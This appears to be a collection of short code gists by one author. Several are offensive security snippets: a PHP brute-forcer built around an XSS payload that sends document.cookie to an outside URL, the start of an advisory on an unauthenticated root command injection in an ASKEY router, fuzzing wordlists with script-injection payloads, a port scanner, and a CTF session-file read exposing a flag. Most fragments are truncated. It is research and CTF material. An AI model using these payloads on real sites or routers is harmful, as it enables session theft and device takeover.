caioluders

import sys
import re

def ansi_to_html_custom_tags(text):
    # Define the mapping from ANSI codes to custom HTML tags
    ansi_to_html_map = {
        '\x1b[0m': '<g1>',  # Reset to default, removing the closing tag
        '\x1b[1;30m': '<g2>',  # Gray2
        '\x1b[1;47m': '<ww>',  # White
        '\x1b[37;47m': '<ww>',  # White

caioluders

<?php
ini_set('memory_limit', '-1');
$hash = '3e09eb42';
$charset = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
$prefix = '<script nonce="3e09eb42">window.location="https://url/b?"+document.cookie</script>';
$charset_length = strlen($charset);

function check_hash($string, $hash) {
    return hash('crc32b', $string) === $hash;
}

caioluders

import processing.svg.*;

void setup() {
  size(1000,1000);
  float p = random(0,500);
  float n = random(0,500/10);
  background(255);
  beginRecord(SVG,"shell.svg");
  for (var i = 0; i < 500+200; i += 3.5) {
    noFill();

caioluders

abaca7e
abaca7e5
abac1a15
abac1a1
abac0
abac05
abade
abade5
abade55a
abade55a5

caioluders

import json, socket

print('Loading function')


def portScan(ip,ports) :
    r = []
    for p in ports :
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        socket.setdefaulttimeout(1)

caioluders

Unauthenticated RCE as root on ASKEY router RTF3505VW through GET parameter
------------------------------------------------------------------------------

The router RTF3505VW, which is distributed by Vivo, is vulnerable to a unauthenticated RCE via a GET parameter. The vulnerability resides on the /bin/httpd, as it passes a GET parameter to a system call, see the vulnerable portion of the binary below. 


if (iVar1 != 0) {
  system("killall ping traceroute > /dev/null 2>&1");
  __format = "ping %s -c %s -I %s> %s&";
  puVar4 = auStack10144;

caioluders

-
.
..
...
....
.AMRU
.json
.onion
.txt
0

caioluders

$$
$Any$
$shop$
$your-shop$
%20%44omain%20%3d
%2f%2f%2fbing
%60x
%domain%
%user%
%your_domain%

caioluders

Set-Cookie=test=test

"--><svg
"><script>prompt("exr")<
$
$1
$a
$account_id
$code

caioluders

payload :
%!/var/lib/php/sessions/sess_t4655hebsafr291praeif7gih2 f

.--------------------------------------------------------------------------------------------f

/var/lib/php/sessions/sess_t4655hebsafr291praeif7gih2 :
flag|s:71:"CTF-BR{1s_th1s_4_0day?1_r34lly_d0nt_know.Pl34s3_c0m3_pl4y_Pwn2Win_CTF!}";name|s:5:"'$.-)";